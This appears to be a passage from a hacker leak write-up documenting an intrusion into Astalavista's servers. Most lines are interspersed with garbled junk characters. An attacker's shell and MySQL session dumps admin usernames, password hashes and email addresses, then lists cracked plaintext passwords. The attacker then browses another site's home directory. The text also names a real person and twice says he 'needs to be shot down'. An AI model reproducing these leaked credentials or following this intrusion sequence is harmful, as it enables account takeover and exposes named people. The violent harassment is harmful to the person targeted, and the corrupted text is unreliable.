1 t' k, n( I( S2 X5 z; b <language>en-us</language>7 L7 a6 n. r$ Q( A4 b" Q! J
<lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
" c7 H1 w" P0 a- Z; ^3 w g y <docs>http://blogs.law.harvard.edu/tech/rss</docs>2 |6 f8 l: [/ X* d7 Y+ Y( M
<generator>Astalavista.com</generator>
' r6 Z4 @; |- Y- h# L <webMaster>info@astalavista.com</webMaster>’ . $items . ‘6 }( w- Y. G* }) |- A$ c4 E
</channel># A( S7 R" f% V8 V( E
</rss>’;, _$ q t. |8 U" i f* g; ^
. m; a" P' h" B+ J% a2 Z
if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {. d$ N4 q6 h# v& t8 B3 j; o
unlink (FULLPATH . ‘/feed/exploits.xml’);
0 z. |% }' D# c0 d* r6 Y }! k1 Y/ ?3 }' k* `: ?
4 j: g2 \" {/ ^! T; ^) o
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);+ e, g3 p" [8 A1 c: U) E
[snip]
! ]" g7 i) x* R. N& @# E. Z9 F9 t7 c0 k1 C4 \
sh-3.2$ cat exploits.sh
1 C# v! X1 }8 o, \% v( A#!/bin/sh
$ ?7 c; R, _! G! y5 E* q3 b" s: y+ b* S* A. c
###########################################################8 U7 p2 v5 G- D: t9 Q8 _
# #
7 y7 k @5 w, K3 L% z" t# Title: milw0rm exploits adder #2 y+ P7 ?2 D+ V5 F( D `4 Z
# Description: Add all milw0rm exploits to the #& s% ~+ i c9 T0 R6 h
# Astalavista.com database #5 `8 Y( _ c$ ?7 A8 |
# #$ `& D# J4 d. K5 L- I$ J" y
# Company: Astalavista Group #
6 h/ @( S n4 c# Author: Paulo M. Santos #
9 ]" ^, b7 f4 ]7 g/ l( _6 l# E-Mail: 链接标记paulo.santos@astalavista.ch #
: }% D; j; t% K) L# #1 p$ Y; L) T1 `6 |. H- ] T% [- ^
###########################################################7 `: H! K) P7 F: u( y% B
^% \4 O; I+ k1 G' z( x# path% {; i5 J$ R+ T2 P
this_path=/home/com/public_html/modifications/cronjobs! I& j! K4 y& b G, S/ {& @6 ?
+ u: x$ C$ O# b& Y8 c) r2 V2 }# change directory$ N" k4 ]' o) G- i& k
cd $this_path
& {+ ]7 [2 E8 G6 |cd tmp/
8 Z8 f+ t0 G- ?& y3 f% v7 [% ?& r; y; S- j; w L
# delete files) m7 Z7 I! s) n" c( X( Y" y
rm -rf milw0rm.tar.* &% q3 \5 V# t" J7 ?3 {
rm -rf milw0rm/ &, k3 n, i9 w' p0 g1 u0 m
4 L. x# u* T8 W5 R" c8 B6 m0 }
# wget milw0rm paket# ]( O t/ _: B# R7 _, e
wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]
! r' O6 r% i2 i; h! f6 C/ U- W; d9 s4 I+ f$ M5 l4 L* ~' z. M; T
# extract milw0rm paket7 x% y7 E8 `1 x& n% A
tar -xvf milw0rm.tar.bz2
9 v) {$ w( s- M$ E) F3 P) p5 [6 I% u
# change owner
9 p4 i# o2 h% i$ kchown -R com .
9 c6 ], o! G7 }9 I( ^chgrp -R com .
; w2 B2 g2 C( Y$ X
+ J( x& G9 B2 X$ t; ?+ }- i# execute php script$ C) B: b0 K- j) N1 }9 y
cd $this_path. n* k. Q+ n4 O# Y# W. ?
php -q exploits.php6 z6 i$ f% V. G$ e0 H* [
8 K7 |' j: V" G) ?, j N: @6 L3 U$ i
# delete files1 O* w) m7 ^+ u# Y6 d
rm -rf tmp/milw0rm.tar.*: N3 S. W6 e6 s5 F. t" n
rm -rf tmp/milw0rm/( i3 n8 n% a9 _& F
+ `, E" G5 D; x& b7 D9 U: g# Xsh-3.2$ echo “Paulo M. Santos needs to be shot down.”
, `6 I0 M, g3 M/ SPaulo M. Santos needs to be shot down.
0 R* u5 |; q( g, q0 i9 d/ o0 _" f F7 `+ \) D/ F/ L. d: |
mysql -u contrexxuser2 -p+ B o6 r" a* U3 c1 D, ]
Enter password:/ z2 G Y% a3 i
Welcome to the MySQL monitor. Commands end with ; or \g.
: `7 Z5 t& _1 Z9 Z% KYour MySQL connection id is 261694
" z2 q2 F! C: L# d3 n. iServer version: 5.0.45-community-log MySQL Community Edition (GPL)( _+ A/ Z5 j+ Q5 `$ U8 B! i
6 d) C' z* z. J: [, D7 `Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.* \, C& z, v, E( X5 F; ?
/ s/ C' Y- F4 Bmysql> show databases;
3 ~4 C, T) S8 W1 j7 _) [+——————–+" y% C- o" u# y e8 V/ E
| Database |- h* v$ l. W$ X# L2 e( b0 O% H2 c
+——————–+
2 U6 X7 O1 _, \1 D/ j| information_schema |
2 A$ i* |5 w- K' q: ~| com_contrexx2 |
3 l+ ~1 p; \* i% n) [- k4 P! i4 n) k| com_contrexx2_live |
% K- W' p7 i" P| test |: U% D' g6 O% S. [( |; S$ ~" ^
+——————–+( r8 j- H1 S) T6 ~0 g
4 rows in set (0.00 sec)1 A( S8 U9 Z+ N2 ^" U# H
2 I7 t M" u1 x4 G( P# P
mysql> use com_contrexx2_live
! W; C0 J/ {% ~; E! Q ~. \" ^Database changed
' j* k. }/ Y( C1 X) Pmysql> show tables;' V' @7 u3 b5 c2 g1 |* a7 A5 A
+————————————————–+
6 Y1 w% P2 g' C* F" E) U| Tables_in_com_contrexx2_live |( L _$ h: b6 `! e3 \0 \
+————————————————–+
+ \& P8 a; L0 M" m/ y6 z| cc_banner_counter | |. C) s) o7 `% f* T
| cc_search_counter |
, ]5 o1 v. L V+ X& D| contrexx_access_group_dynamic_ids |
- f8 f6 g- B E! _. j: q' p| contrexx_access_group_static_ids |
9 L: D/ ^4 Z' C6 V& b8 u' [) W9 r| contrexx_access_rel_user_group |
V9 b5 u0 E3 ^& q& S6 h+ X3 g$ X| contrexx_access_settings |9 |# j. N1 z; W U$ H: n G
| contrexx_access_user_attribute |! o& c2 Q) u5 O! T( ~4 n9 G+ m; @6 F
| contrexx_access_user_attribute_name |
/ h g8 j; v8 f3 D+ g| contrexx_access_user_attribute_value |* K6 Q+ P, d2 \4 b) R q+ S
| contrexx_access_user_core_attribute |
/ v/ _+ T9 R' Q: M; T| contrexx_access_user_groups |7 _6 C" f) ?, Q) l' j, p7 @- j
| contrexx_access_user_mail |
2 {5 e5 Q2 i2 S: a| contrexx_access_user_profile |
8 i4 C4 Q/ y+ n8 \| contrexx_access_user_title |
4 w0 o Q- R5 s: X3 s7 u! P6 H4 C1 y| contrexx_access_user_validity |
* z' l. O- ?& O8 C1 U| contrexx_access_users | ?, A+ }, W/ t5 v' G% J6 P
| contrexx_backend_areas |5 ]3 Q; B! N3 v- m1 H
| contrexx_backups |+ U/ m$ a+ ~5 q/ e! a% C! B2 L$ P; \; U
| contrexx_content |
. Z$ p" m& T# o: y/ v! T| contrexx_content_history |
. E) B6 }. s4 S6 e# Z3 d| contrexx_content_logfile |" h0 v/ ?$ j. r6 i
| contrexx_content_navigation |1 z4 w* d3 B8 [
| contrexx_content_navigation_history |! x1 R! m* M: _, r6 t
| contrexx_ids |; G4 U8 s% [1 ]
| contrexx_languages |/ Q8 d4 O( j, ?# o# ?5 ~5 g
| contrexx_lib_country |
( J4 W6 {' y+ y }) ?| contrexx_log |3 b# h. h k! v# J$ N* M' x
| contrexx_module_alias_source |
; g/ B. a* M+ P" F- E| contrexx_module_alias_target |4 b4 H( a# A: W5 k. P* y
| contrexx_module_block_blocks |; O* U( S6 S/ T
| contrexx_module_block_rel_lang |- i* H: v" V3 \$ O7 O- u
| contrexx_module_block_rel_pages |% `, Y4 R6 |; m7 W+ }
| contrexx_module_block_settings |: B, {$ }6 W1 L6 S; G1 z0 ]
| contrexx_module_blog_categories |8 h4 Z) e; D) s
| contrexx_module_blog_comments |1 ]2 Y3 S2 S6 r$ }. {3 I
| contrexx_module_blog_message_to_category |
+ M; G0 g& H' a9 _5 A& z8 G% r| contrexx_module_blog_messages |& Y2 }; d# d" }- f3 E6 \/ x2 l3 ~$ {, C
| contrexx_module_blog_messages_lang |+ ]; n3 k' o6 x: @% z( S
| contrexx_module_blog_networks |; t, S2 k; D3 N
| contrexx_module_blog_networks_lang |! Z4 Q; ~, ?/ z8 \
| contrexx_module_blog_settings |
! r' s/ y! @7 s- k0 O) Z| contrexx_module_blog_votes |
' O" v' T7 ~" s- u1 \| contrexx_module_calendar |
/ ]* z+ I) F8 y, `+ H: W s, ?| contrexx_module_calendar_access |
6 C) p# Y" K# G| contrexx_module_calendar_categories |( Q+ r6 R3 V3 [2 J0 H
| contrexx_module_calendar_form_data |
, L2 P$ m! T% @1 D8 ]| contrexx_module_calendar_form_fields |
) t& ^. `+ T# B; q( o0 l9 U2 f| contrexx_module_calendar_registrations |, `- w1 s$ I6 c Z! y! m0 a% ^
| contrexx_module_calendar_settings |
- r6 H; j8 w" S, P. _1 t| contrexx_module_calendar_style |+ I" Z. E; \/ L& q
| contrexx_module_contact_form |( o8 U, X, x; A0 R5 A
| contrexx_module_contact_form_data |! |8 A: K/ y9 D- p* O
| contrexx_module_contact_form_field |+ P6 e% J: C3 ] e: f% r4 T
| contrexx_module_contact_settings |
* t' Z5 `. \7 u o8 F$ O| contrexx_module_data_categories |& y+ g8 U b1 ]4 k, J
| contrexx_module_data_message_to_category |
7 N! e. J: @9 |9 _& |' t$ s| contrexx_module_data_messages |
8 N! \ a {/ T/ ~+ I b. P! b| contrexx_module_data_messages_lang |
`, r4 J- Q+ n| contrexx_module_data_placeholders |( y f1 c+ p! k
| contrexx_module_data_settings |, e( c% [ q/ J+ T7 m' u }4 h
| contrexx_module_directory_access |
0 a% h# }$ n9 o| contrexx_module_directory_categories |
$ b" c# u4 u/ S" H4 q* {8 \| contrexx_module_directory_dir |9 C" A0 O- z* Y/ }: \
| contrexx_module_directory_inputfields |% F* o* W( V5 C% X
| contrexx_module_directory_levels |2 X3 v3 l2 ?6 f% c
| contrexx_module_directory_mail |
1 x; u- W" f( N- M+ [6 d% e| contrexx_module_directory_rel_dir_cat |+ D8 _" j) T; \& z6 ?6 Q( C
| contrexx_module_directory_rel_dir_level |. @0 g) }4 X& Z1 _$ }: Q6 L
| contrexx_module_directory_settings |% j" T& X; X h0 a$ f0 o: ?. U
| contrexx_module_directory_settings_google |
( A5 y N; U* }, Y' } K% ]/ ^* q| contrexx_module_directory_vote |
% s) Y+ B- | t. _4 b6 a| contrexx_module_docsys |! `; e8 B( e. J1 A4 e
| contrexx_module_docsys_categories |
1 l; o* _) Y1 h5 r: [| contrexx_module_egov_configuration |
1 `: R+ n- @6 T K& `& v- l| contrexx_module_egov_orders |" O0 C, |/ h& J- o* O" ^
| contrexx_module_egov_product_calendar |
% w2 b( T; c! F- c9 W% o* r+ G| contrexx_module_egov_product_fields |
; C( d6 k$ w2 n+ W1 n3 O6 E| contrexx_module_egov_products |( |* |0 z8 n) R' I0 r+ I
| contrexx_module_egov_settings |
; A: ^0 Y% R' C' T6 a| contrexx_module_exploits |: R+ R6 T) l' {2 }) o2 j) p
| contrexx_module_exploits_categories |
# t9 Q8 L, N. k5 w| contrexx_module_feed_category |. k3 P# g: P' O2 k: C' x
| contrexx_module_feed_news |
3 C6 u( T& ^, Z/ A% q( ^% ?4 s| contrexx_module_feed_newsml_association |" a; d/ @" t8 d9 ^
| contrexx_module_feed_newsml_categories |0 j3 }8 E8 _1 k O
| contrexx_module_feed_newsml_documents |
3 ]# a' i0 ~5 ~1 A| contrexx_module_feed_newsml_providers |- p, D8 b& x" p% w
| contrexx_module_forum_access |
2 @ G5 ~- j5 e3 z, A! @; y| contrexx_module_forum_categories |
5 r0 {- u4 m! e| contrexx_module_forum_categories_lang |
3 J9 f3 R2 ?+ Z, A| contrexx_module_forum_notification |$ K7 `+ t5 A7 z: Q5 A
| contrexx_module_forum_postings |
% h! ?6 C2 ^2 b| contrexx_module_forum_rating |0 O% @" H% x8 u; w* f7 `/ D3 m
| contrexx_module_forum_settings |
- f* }+ S% }! s| contrexx_module_forum_statistics |! A5 {/ z* r7 |/ ~
| contrexx_module_gallery_categories |
8 P% V F( ~2 Y$ h| contrexx_module_gallery_comments |
2 o" A# d, h; p) X| contrexx_module_gallery_language |( w$ Q6 N3 ^- z+ \1 I
| contrexx_module_gallery_language_pics |
5 ?3 p a" [ e| contrexx_module_gallery_pictures |
5 k& ~: R& S8 u# K5 `, D| contrexx_module_gallery_settings |- c4 g8 m$ o ^2 B6 u* w
| contrexx_module_gallery_votes |
0 D" a" R1 c* S% ?7 n/ r& }| contrexx_module_guestbook |3 }( Z5 j5 w' r$ a, @
| contrexx_module_guestbook_settings |. q# s2 u7 f \7 q5 S! o
| contrexx_module_livecam |- j4 U( N8 m+ j2 g: P
| contrexx_module_livecam_settings |
* o: D6 o/ S! U ]1 I| contrexx_module_market |
) ?. Y' {2 v4 Q! h& s6 D: J, H5 P| contrexx_module_market_access |
& I' `/ j" [! c: q5 _5 k! g( }| contrexx_module_market_categories |
( z2 }& Y P; w6 h' q3 ~7 w| contrexx_module_market_mail |
: O% P. N! d9 t| contrexx_module_market_paypal |( e; F5 x. c" D
| contrexx_module_market_settings |
* ?; L7 \4 g+ T! r8 d' J| contrexx_module_market_spez_fields |
5 z0 f, T/ J0 v# \$ b+ n" Z| contrexx_module_mediadir_access |% ?0 x# A3 L! d* ^% B3 [
| contrexx_module_mediadir_categories |
4 q! B# \4 X+ |/ j: F$ `| contrexx_module_mediadir_comments |3 ^: _1 c/ z1 z/ m: g8 m5 o
| contrexx_module_mediadir_dir |
) W3 e/ _: L% X+ G' `* g) \" @: c$ `| contrexx_module_mediadir_inputfields |
6 o; L/ p* I c1 X9 n| contrexx_module_mediadir_levels | S8 P( e8 n* }
| contrexx_module_mediadir_mail |
" V4 E; }4 M% [5 _2 L) O1 N. N& g| contrexx_module_mediadir_rel_dir_cat |6 y2 G; {5 d. [+ t( J5 c
| contrexx_module_mediadir_rel_dir_level |, M% A _9 c. L4 |
| contrexx_module_mediadir_reports |
& H1 L& i9 A" y" E7 Z$ s6 i| contrexx_module_mediadir_settings |
$ P7 T7 v! q' ^* c, Q! W| contrexx_module_mediadir_settings_google |# k% x, f9 s; r+ E X2 H+ s/ z
| contrexx_module_mediadir_vote |
0 X% t3 _6 E' ^1 A2 I| contrexx_module_memberdir_directories |
/ K I$ I, N* A0 C" a| contrexx_module_memberdir_name |
9 { ]( _" H3 v| contrexx_module_memberdir_settings |
' v+ y4 ^& u2 }* M% d6 C8 O| contrexx_module_memberdir_values |
, r* {# B' o$ B; F; x| contrexx_module_nettools_allowed_groups |5 l) }# O0 H2 w" O! ^" E: p4 Q
| contrexx_module_nettools_settings |
/ @* h7 N- Z+ s| contrexx_module_news |
: Y6 b/ y% x2 K* e| contrexx_module_news_access |
0 A* V: F K* L2 ~# S3 p| contrexx_module_news_categories |0 B0 e; v2 ?; s# v
| contrexx_module_news_settings |4 ]: D" i& g4 B. i+ ?
| contrexx_module_news_teaser_frame |$ `9 V, `+ k7 N; m$ Q% N) u
| contrexx_module_news_teaser_frame_templates |
$ s0 z3 e) T w p% || contrexx_module_news_ticker |$ R$ t2 {1 g, \* A. k) G
| contrexx_module_newsletter |* s( e5 R* o+ |7 m! h
| contrexx_module_newsletter_attachment |
( ~: {6 \$ ?' c1 T; |! i| contrexx_module_newsletter_category |
! ?1 x4 O0 \2 K9 {! m0 n6 M| contrexx_module_newsletter_confirm_mail |7 F) \* `9 X# k/ ^; s& H$ @+ n0 N
| contrexx_module_newsletter_rel_cat_news |
0 ~/ w" I" W- W/ V) S| contrexx_module_newsletter_rel_user_cat |
" Y" } r- Y: C- p# \| contrexx_module_newsletter_settings |
: B3 v6 a6 Z0 m! ]6 B) Z" J| contrexx_module_newsletter_template |& w, a* j+ ~& K' k
| contrexx_module_newsletter_tmp_sending |
8 _" b$ m j$ \3 y, Z' Y `+ V( ^& ~| contrexx_module_newsletter_user |" ]+ r" ] k8 [# z
| contrexx_module_newsletter_user_title |
- q3 r* v$ u1 y6 v| contrexx_module_onlinetools_defaultports |7 W% u! F( Q! w. Z C5 x9 E) J) V
| contrexx_module_onlinetools_defaultports_back |
$ {7 }/ _$ y* D" I5 _+ m1 j! k| contrexx_module_onlinetools_geolitecity_blocks |. G& ^! \, O j8 n3 u
| contrexx_module_onlinetools_geolitecity_country |5 b) ] S( e' c/ X% K
| contrexx_module_onlinetools_geolitecity_location |
& W' l. A0 Q' o7 D! o| contrexx_module_podcast_category |
# k/ m: k: O8 v' o0 ^8 |/ N| contrexx_module_podcast_medium |) }: q" S, H0 _- h
| contrexx_module_podcast_rel_category_lang |
7 b/ [8 Q5 ?5 U% r3 Z) p9 u| contrexx_module_podcast_rel_medium_category |3 K1 Y: d2 r" t) n0 x+ P
| contrexx_module_podcast_settings |" b: s, d5 m+ U6 S- r
| contrexx_module_podcast_template |
2 F- u* j9 d7 g% l0 g2 l0 N# M| contrexx_module_proxydb |" _/ ?& U1 _0 I
| contrexx_module_recommend |
& \6 o! X. x% P| contrexx_module_repository |. J9 ^# g2 {% N! t- n$ h* c
| contrexx_module_securitynews_cats |
- m! R5 Y( w3 l1 N, ?| contrexx_module_securitynews_feeds |
) k. A$ q' {! w" R+ R$ W! F7 j% \| contrexx_module_securitynews_news |
6 |5 Z+ S9 I+ Y8 y; L* r: R| contrexx_module_shop_categories |
. R5 n/ K& P# V5 M; u: k| contrexx_module_shop_config |
# l5 ^& h" v& N) b* G5 i$ M| contrexx_module_shop_countries |+ l- ]2 p, L2 P' T& Z
| contrexx_module_shop_currencies |
$ S6 }4 j) ` X! J. F| contrexx_module_shop_customers |
) i! Z. q9 Z$ ~ D5 G0 ^ z/ j| contrexx_module_shop_importimg |0 _8 h# y, R' \0 z4 \
| contrexx_module_shop_lsv |
( y" B% x7 ^0 S4 D1 |& ?| contrexx_module_shop_mail |, A! G% a9 w" l( v9 u1 V# c! z
| contrexx_module_shop_mail_content |$ ~% h, T# d2 c& C. a
| contrexx_module_shop_manufacturer |
& |- O! m6 {& N| contrexx_module_shop_order_items |$ T* Z7 K6 j: J; T9 ?
| contrexx_module_shop_order_items_attributes |
9 Q; Q) l6 v- x9 T% |" b1 W| contrexx_module_shop_orders |6 B$ g1 g5 T( e2 e4 i7 m
| contrexx_module_shop_payment |
7 j; m7 c: `! D7 V" i5 H| contrexx_module_shop_payment_processors |
7 z4 h, S& {3 \% V% L% f$ y. h5 O| contrexx_module_shop_pricelists |
( F* L! t3 _" y- x0 A+ d| contrexx_module_shop_products |
9 t. X; w4 z( Y* ~( Y| contrexx_module_shop_products_attributes |, T' B) x" u! R4 n4 ?/ l; f8 k& Z
| contrexx_module_shop_products_attributes_name |6 o6 f9 q" _- q+ ?
| contrexx_module_shop_products_attributes_value |
$ w* _% _5 d8 l+ u. K0 n| contrexx_module_shop_products_downloads |/ ~3 k7 K' }( g% ?4 }: ]
| contrexx_module_shop_rel_countries |% R5 b6 N0 q& p/ X% R8 K" m
| contrexx_module_shop_rel_payment |0 W4 m" B% W* Q, t7 w8 x3 s3 j2 R7 F
| contrexx_module_shop_rel_shipment |: N K' P( ?4 ^
| contrexx_module_shop_shipment_cost |
0 d$ Z8 J& }$ ]- m; u, S| contrexx_module_shop_shipper |
8 `) S% |& o$ L' O1 O- p) K| contrexx_module_shop_vat |5 \( c4 m/ T4 i
| contrexx_module_shop_zones |
% P) |' Q7 G- G4 D! `$ U| contrexx_module_u2u_address_list |, v5 |) q# [0 e# w" J
| contrexx_module_u2u_message_log |
5 t% F. L, P: R3 E- E+ m| contrexx_module_u2u_sent_messages |' [. [, r# c+ R# m3 s) Z. F' a
| contrexx_module_u2u_settings |
7 x; r# ^6 R; Q/ c, A# |# j| contrexx_module_u2u_user_log |2 ?% Q* ~6 u3 K1 \$ ~
| contrexx_modules |
" V9 T( v& E& T| contrexx_sessions |- N( R o$ h7 |
| contrexx_settings |& G$ E' [0 D" a$ z5 N0 e* E4 W9 K
| contrexx_settings_smtp |
. h9 \: f9 P5 D, n' d# m| contrexx_skins |
% t( M* i- K/ A, W, i5 |4 u| contrexx_stats_browser |
$ C+ A' L) z8 d1 Q* u| contrexx_stats_colourdepth |) q. L8 Q4 k: k# O
| contrexx_stats_config |; W2 f) g s$ j1 H8 T1 |8 Z% ]
| contrexx_stats_country |
. m# |5 j. Y0 `! q2 _, t% l* d3 p| contrexx_stats_hostname |
# X$ |" _3 Y4 {; a| contrexx_stats_javascript |
9 Z2 ~" j0 V# n& T- o" w| contrexx_stats_operatingsystem |: x; D$ j2 |6 J& K8 V* p
| contrexx_stats_referer |
! M1 v" U' W8 ^' h( x| contrexx_stats_requests |1 Z3 [+ C/ ^! |1 v' Y
| contrexx_stats_requests_summary |6 x5 S& y( L m- P
| contrexx_stats_screenresolution |
; C5 n6 A) L) g% Z| contrexx_stats_search |
" W* ?6 J! |6 a/ F! w) D| contrexx_stats_spiders |* f3 g+ v0 D1 F3 ?$ H, R
| contrexx_stats_spiders_summary |1 ?! L% A2 _1 Z$ U" @8 O" I- }
| contrexx_stats_visitors |/ M1 {. A1 v; r3 I0 p
| contrexx_stats_visitors_summary |
6 t& J6 U! h2 P9 U| contrexx_voting_additionaldata |- o8 ^1 V% T# K) @8 a7 L3 I
| contrexx_voting_email | x6 x' q5 h: u. K1 T/ T
| contrexx_voting_rel_email_system |
. }: G# O4 i; D ?| contrexx_voting_results |8 {9 y* Q% m6 V: G. i
| contrexx_voting_system |' L4 e# @+ O* T. Y- m- b) Q$ w
| foo |* h- V0 B) f" ^4 C# C8 x( U% \4 v- z
+————————————————–+
/ s" q* s3 q$ Y7 m5 k* E227 rows in set (0.01 sec); ]5 ?& G- y4 I. u
' A ~1 r+ v) I- m8 H/ x
mysql> select count(*) as skids from contrexx_access_users;# J7 c( ~% w& l, ~" s
+——-+# w4 T- F Z* f0 C8 {" Q) z5 W
| skids |
8 l/ h: W4 [2 y" ~2 k& F: `+——-+
Y* B7 A* ~8 I8 W6 t, Z2 S| 53699 |
# S V( I* b; |/ |: [7 D. m s; D- k+——-+
6 C) o4 g) p' t6 c. x1 row in set (0.00 sec)
: A" Y4 n7 o3 X1 t" I, `3 A) U
1 C; d# m" Q+ I! N/ fmysql> describe contrexx_access_users;
% t# N( |& z* k$ Q1 e! P) k' z+——————+——————————————+——+—–+————–+—————-+
+ P7 Z, @+ I% S9 x| Field | Type | Null | Key | Default | Extra |
: f9 x, Z9 O2 ~- F% p; \4 x+——————+——————————————+——+—–+————–+—————-+
9 ~8 f' C6 O% J, ]| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
; y, a' m( e5 w& a: G. B$ {| is_admin | tinyint(1) unsigned | NO | | 0 | |! I& y/ n9 C/ u* c
| username | varchar(40) | YES | MUL | NULL | |
) @" T3 u5 Y. A- l) q| password | varchar(32) | YES | | NULL | |
) ^7 _" z3 b; k" j; h: x- R- j0 W| regdate | int(14) unsigned | NO | | 0 | |
& p( \9 Q* z) G" f4 C3 C& w' L| expiration | int(14) unsigned | NO | | 0 | |+ X- o. B* I5 z2 N1 }' x
| validity | int(10) unsigned | NO | | 0 | |
7 s/ [2 s1 X/ Y# q5 v) F7 H+ {! r| last_auth | int(14) unsigned | NO | | 0 | |* }5 n5 _7 l6 G' U
| last_activity | int(14) unsigned | NO | | 0 | |0 _5 K( |' E" Q
| email | varchar(255) | YES | | NULL | |3 i$ Z. Y' i' @
| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |% a& }' c+ q- j# i! D5 }5 j* U
| frontend_lang_id | int(2) unsigned | NO | | 0 | |( j: u4 w9 V; M% x
| backend_lang_id | int(2) unsigned | NO | | 0 | |
& t! H" v7 g( ]$ x' k1 a- y| active | tinyint(1) | NO | | 0 | |
0 V5 c) c9 c2 y E" ?" P$ ]9 M+ f8 B| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
) p3 K# f6 @% L| restore_key | varchar(32) | NO | | | |
1 Q( U+ F8 G8 r% O0 v| restore_key_time | int(14) unsigned | NO | | 0 | |
) e" ~8 B }( @# N| u2u_active | enum(’0′,’1′) | NO | | 1 | |
6 F7 N) F0 X o4 x+——————+——————————————+——+—–+————–+—————-+. H9 J I7 a/ u. }$ `0 o
18 rows in set (0.00 sec): f$ S& j( N0 l; D8 X7 d4 v# ]- o- q: O
; W9 D8 }/ ?0 {( f9 o$ z6 V( v( A
mysql> select username,password,email from contrexx_access_users where is_admin = 1;& g6 Y( U2 H( o8 H( s( ~$ F
+————+———————————-+—————————–+$ \& ~, |. d* ?1 W' [, |
| username | password | email |
, S+ M5 {8 l7 p+ Q9 E+————+———————————-+—————————–+6 ` T1 x# h* S0 `) l
| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |
: Y0 K! V- v& @$ F5 k: Q| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |
; W. R6 q+ F( J1 L; f# v| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
' C( \% @ {# a5 [| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |
* {" x. Z, h" i0 ^% j7 `4 w- g( _+————+———————————-+—————————–+
# b- J2 y# q7 G. i+ L$ Q1 n U4 rows in set (0.04 sec)7 N' ]% |9 K$ c' [0 @, V
" F+ w! n2 d$ T* |
mysql> exit;
0 i( d ^' y* `+ J9 G& A& eBye% B- o4 f t, w) h( j( p
5 d& O, P T/ m. x# b
[~] There you go, your “team of security and IT professionals” is a joke.0 _5 S3 d# F2 p% Z- v) @7 w
/ T0 B+ J0 y" I2 y+——————————+
3 z! M+ Y W: Q; Ysystem:f82BN3+_*
5 I4 S. B* y8 @3 RBe1er0ph0r:belerophor4astacom5 [8 h' l. P8 T
prozac:asta4cms!% @5 e6 W/ L- O9 \! o
commander:mpbdaagf6m
6 w' V+ i8 |. Qsykadul:ak29eral
" |. S0 a) w }6 j+——————————+) K6 d, R$ }/ c* J) P4 {2 _
4 A$ G0 n( u+ x/ S5 n# D
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
: m9 Y; |9 c$ m& A$ X…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.* V- |% U3 S& h8 Q! B8 q% a3 f
9 W$ ^' \( d' P. w4 V+ z* A[~] Lets move to astalavista.net now,! y) I$ j T8 K7 P" n: N
# Y0 {) F$ G2 [5 \& l1 n! F/ w9 CFrom <链接标记[url]https://www.astalavista.net/[/url]>:( @/ N1 r3 X+ o8 Q+ G
>> Everyone knows that the best defense is a good offense.1 a6 V$ c$ q7 K; m& h" |
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.
. v+ D' a( c& z L4 V, j d7 B>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
# E& X6 B2 [0 X>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”& k, c# d( W8 K) c
" L5 U0 _; d6 J8 Y" G>> Go ahead, try and hack our server . in a completely legal way!
1 x3 B6 U7 r* D h2 y6 C>> Learn by doing: We offer our members tricky tasks and challenges on an
5 }0 V" F7 H, B( ]& v>> ongoing basis so you can test your knowledge and abilities. You can also% X8 b! _/ q* l7 C2 J
>> demonstrate what you.ve mastered by taking part in regular hacker contests
! U" M X# B# e>> and war games! N$ n/ Y+ |% q5 ^/ J; ?: |
/ e9 P1 }4 z+ F7 q: Q9 s% E[~] Lets take a look there, after all… they are hack-proof, aren’t they?!& m3 L* m3 e# m/ p- L$ a
% S/ g5 E5 y, b. G: L6 T
[-] Tricky task: Find home dir of astalavista.net4 [2 X2 K# d" K' M4 U
* W6 m$ L5 U; z4 ^% A
sh-3.2$ ls -la ~astanet
1 |; ~5 B/ S# O* S0 a5 ]- `total 48; y( H9 z) t) t$ F6 s
drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .
( I/ ?6 j9 r( R( J- odrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..- w, o4 l; d* b1 R% z( X5 E7 F; \7 }
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
5 E! u) [9 n i; H% H-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
- L: y1 G% [4 y( e( D# J, V-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
5 q0 n* H+ c, C% r-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile U4 I+ d3 p" T2 a4 I& H" X- ^
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc% J5 P. c) R) N$ S' T; ?5 q
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
, n# s' @8 k; tdrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
# o; c8 i8 {! i5 U: Bdrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
: K: n. L. D3 S/ c; \) n# klrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
) I0 M" t+ a! |7 _-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow! |6 u- O% U$ ]6 U0 k
- i7 b3 {& P1 y0 q( n) [sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/1 D, E/ X' ?, c* X" Y+ B7 i
sh-3.2$ ls -la
2 b) r9 {+ `3 C7 Z+ Stotal 200
_- {9 G1 t+ O" ^2 edrwxr-x— 29 astanet apache 4096 Jan 6 13:58 .
) a$ a; U$ d" J, x( y; zdrwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..
0 L/ T% g l5 o( fdrwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007, t9 x$ O: V+ `+ D h8 F% S: E
